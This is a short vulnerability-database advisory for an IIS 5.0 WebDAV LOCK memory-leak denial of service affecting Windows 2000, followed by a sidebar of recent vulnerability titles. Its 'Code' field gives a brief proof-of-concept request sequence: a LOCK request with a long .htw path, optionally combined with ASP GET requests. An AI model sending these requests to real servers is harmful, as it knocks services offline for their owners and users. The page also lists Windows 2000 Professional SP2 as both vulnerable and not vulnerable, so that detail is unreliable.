exploits , vulnerabilities , articles , IIS WebDav Lock Method Memory Leak DoS Vulnerability

Title	IIS WebDav Lock Method Memory Leak DoS Vulnerability
Published	2001-05-17-12:00AM
Updated	2001-05-17-12:54PM
Class	Failure to Handle Exceptional Conditions
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Reported to bugtraq by Defcom Labs in advisory def-2001-26 dated May 17, 2001
Vulnerable	Microsoft IIS 5.0 Microsoft Windows 2000 Advanced Server Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows 2000 Advanced Server SP2 Microsoft Windows 2000 Datacenter Server SP1 Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Professional Microsoft Windows 2000 Professional SP1 Microsoft Windows 2000 Professional SP2 Microsoft Windows 2000 Server Microsoft Windows 2000 Server SP1 Microsoft Windows 2000 Server SP2
Not Vulnerable	Microsoft Windows 2000 Professional SP2
Code	LOCK /aaaaaaaaaaaaaaaaaaaaaaaaaa.htw HTTP/1.0 One way is to combine the attack with asp executions, eg. GET /iisstart.asp?uc=a HTTP/1.0
TXT

Vulnerabilities - newest 10 RSS | More

• 2008-12-02 xrdp Multiple Buffer Overflow Vulnerabilities
• 2008-12-02 FFmpeg Multiple Denial of Service Vulnerabilities
• 2008-12-01 SystemImager Flamethrower Insecure Temporary File Creation Vulnerabilities
• 2008-12-01 Rumpus FTP Server Command Argument Remote Buffer Overflow Vulnerability
• 2008-12-01 Rumpus FTP Server HTTP Command Remote Denial of Service Vulnerability
• 2008-11-29 Multiple ActiveWebSoftwares Products Login Parameters SQL Injection Vulnerabilities
• 2008-11-29 Venalsur Booking Centre Multiple Cross-Site Scripting Vulnerabilities
• 2008-11-28 ReVou Login SQL Injection Vulnerability
• 2008-11-28 Web Calendar System SQL Injection and Cross Site Scripting Vulnerabilities
• 2008-11-28 SailPlanner Login SQL Injection Vulnerability

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Tue, 02 Dec 2008 22:39:32 +0000